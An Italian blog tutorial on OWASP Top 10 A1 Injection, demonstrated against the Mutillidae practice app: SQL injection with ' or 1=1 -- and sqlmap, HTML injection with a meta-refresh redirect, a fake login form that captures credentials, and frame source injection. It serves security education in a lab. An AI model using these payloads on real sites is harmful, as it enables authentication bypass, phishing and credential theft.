OWASP Top 10 2013 - A1 Injection (SQL, HTML, Frame Source)
Tempo di lettura: 8 minutiData pubblicazione: April 28, 2016
L'Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.
A1 - Injection
L'injection (iniezione) consiste nell’inviare dati o stringhe non sicure tramite un form o un interprete utilizzando delle query. L’attaccante può avere accesso ai dati se questi input non vengono analizzati e “puliti” prima di essere immessi nel database. Esistono diversi tipi di attacco per questa categoria, cercherò di spiegare i maggiori nel miglior modo possibile.
SQL Injection
SQL Injection è una tecnica di code injection e consiste nell’inserire query maligne per ricavare informazioni da uno specifico database. Essa può venire facilmente evitata tramite specifiche funzioni durante la programmazione di un’applicazione web. Per conoscere questa tecnica è bene avere delle basi di SQL. Ottime guide introduttive sono quella di W3Schools e Html.it.
Estrarre dati
Questo tipo di SQL injection si verifica quando non viene filtrato l’input dell’utente dai caratteri di escape e quindi vengono passati all’interno di uno statement.
Nell’esempio la query che ho inserito è stata (c’è uno spazio dopo - - )
' or 1=1 --
Nel database, lo statement eseguito è quindi stato
SELECT * FROM users WHERE username = '' or 1=1 -- ;
Esso cerca nel DB un username nullo oppure TRUE (1=1), di conseguenza restituisce tutti (select *) gli username e password presenti.
Un form si può testare anche tramite sqlmap. Invio il form senza passare nessuna stringa, e copio l’url che appare
Al programma passo la seguente stringa
sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details"
dove:
- -u è l’obbiettivo;
- –data sono i dati che bisogna inviare al database, ed è la stringa copiata poco fa, in cui ho inserito HACK nei campi dove dovrebbero essere inseriti dei parametri.
E dopo qualche minuti sqlmap stampa le possibilità di Injection che ha trovato nella pagina
Bypassare l’autenticazione
Anche qui, se l’input non è stato parametrizzato, l’autenticazione può essere superata con facilità tramite delle stringhe. Inserisco le stesse stringhe di prima
Ed ecco che mi ritrovo loggato come amministratore.
HTML Injection
Quando un’applicazione web non “pulisce” i dati inviati dagli utenti è possibile che sia vulnerabile anche al HTML Injection. Con questa tecnica si possono inviare query tramite form nel sito web vulnerabile e cambiare alcune funzionalità dello stesso.
Per testare se un form è vulnerabile basta provare ad inserire la query e vedere come reagisce il server. Provo inizialmente ad inserire uno script come questo
Eccomi qui <script>alert('Prova');</script>
Ma a quanto pare non sembra funzionare (ma scopro comunque una parte di struttura del database). Provo quindi con un semplice redirect. Dopo aver inserito la stringa, la pagina dovrà re-indirizzare verso una sito scelto da me (se, ad esempio funzionasse su un sito di una banca, un hacker potrebbe reindirizzare tutti gli utenti verso un sito creato ad-hoc e riuscire a visualizzare le credenziali). Inserisco
<span class="code-keyword"><</span><span class="code-leadattribute">H1</span><span class="code-keyword">></span> Sei vulnerabile? <span class="code-keyword"><</span><span class="code-leadattribute">/H1</span><span class="code-keyword">></span>
<span class="code-keyword"><</span><span class="code-leadattribute">META</span> <span class="code-attribute">HTTP-EQUIV</span><span class="code-keyword">="</span><span class="code-keyword">refresh"</span> <span class="code-attribute">CONTENT</span><span class="code-keyword">="</span><span class="code-keyword">1;url=http://www.hacktips.it"</span><span class="code-keyword">></span>
Ed ecco che vengo reindirizzato al link che ho stabilito
Per evitare di essere sempre reindirizzati basta che cliccate in alto a destra Reset DB.
Se invece volessi catturare dati di login con questo metodo, basta inserire un form creato ad-hoc dando la possibilità all’utente di loggarsi. Inserisco
<div id="idLogin" style="padding:20px; position: absolute; top: 250px; left: 400px;background-color:#ffcccc;border: solid black 1px;">
<form action="http://localhost/capture-data.php" method="get">
<table style="font-weight:hold;">
<tr><td colspan="1" style="font-size:20px;">Spiacenti, la sessione è scaduta<br/>Provi ad autenticarsi nuovamente.</td></tr>
<tr><td>Username:</td><td><input name="username" type="text"></td></tr>
<tr><td>Password:</td><td><input name="password" type="password"></td></tr>
<tr><td><colspan="2" style="text-align:center;"><input type="submit" value=" Invia "</td></tr>
</table>
</form>
</div>
Come vedete è un normale form, ed invio i dati a una pagina prefissata (come prima, potrei inviarli ad un mio server ed avere tutte le credenziali d’accesso di chi li invia)
Dopo averlo inviato, ecco che appare la richiesta di inserimento
Invio i dati, e controllando nella pagina _“capture-data” _noto che li ho ricevuti completamente in chiaro.
Frame Source Injection
Questo tipo di attacco è poco utilizzato, ma se i file su un sito non sono protetti adeguatamente, possiamo trovarli tramite una stringa inserita nell’url. Vado nella pagina Document Viewer, e clicco su robots.txt (per chi non sapesse cos’è). Noto che vengono visualizzati i file proibiti, quindi provo a cambiare l’url e inserire uno scelto da me
Il nome del file l’ho trovato testando vari percorsi noti, presi da questa lista.
Conclusioni
Ci sono moltissime tipologie di Injection, specialmente in Mutillidae. Probabilmente ne inserirò altre con nuovi articoli, questo voleva essere il primo di una serie che nelle prossime settimane continuerà analizzando le maggiori vulnerabilità di un applicazione Web. Se, come al solito, desideri che inserisca informazioni aggiuntive o altre tipologie di attacco, basta un messaggio.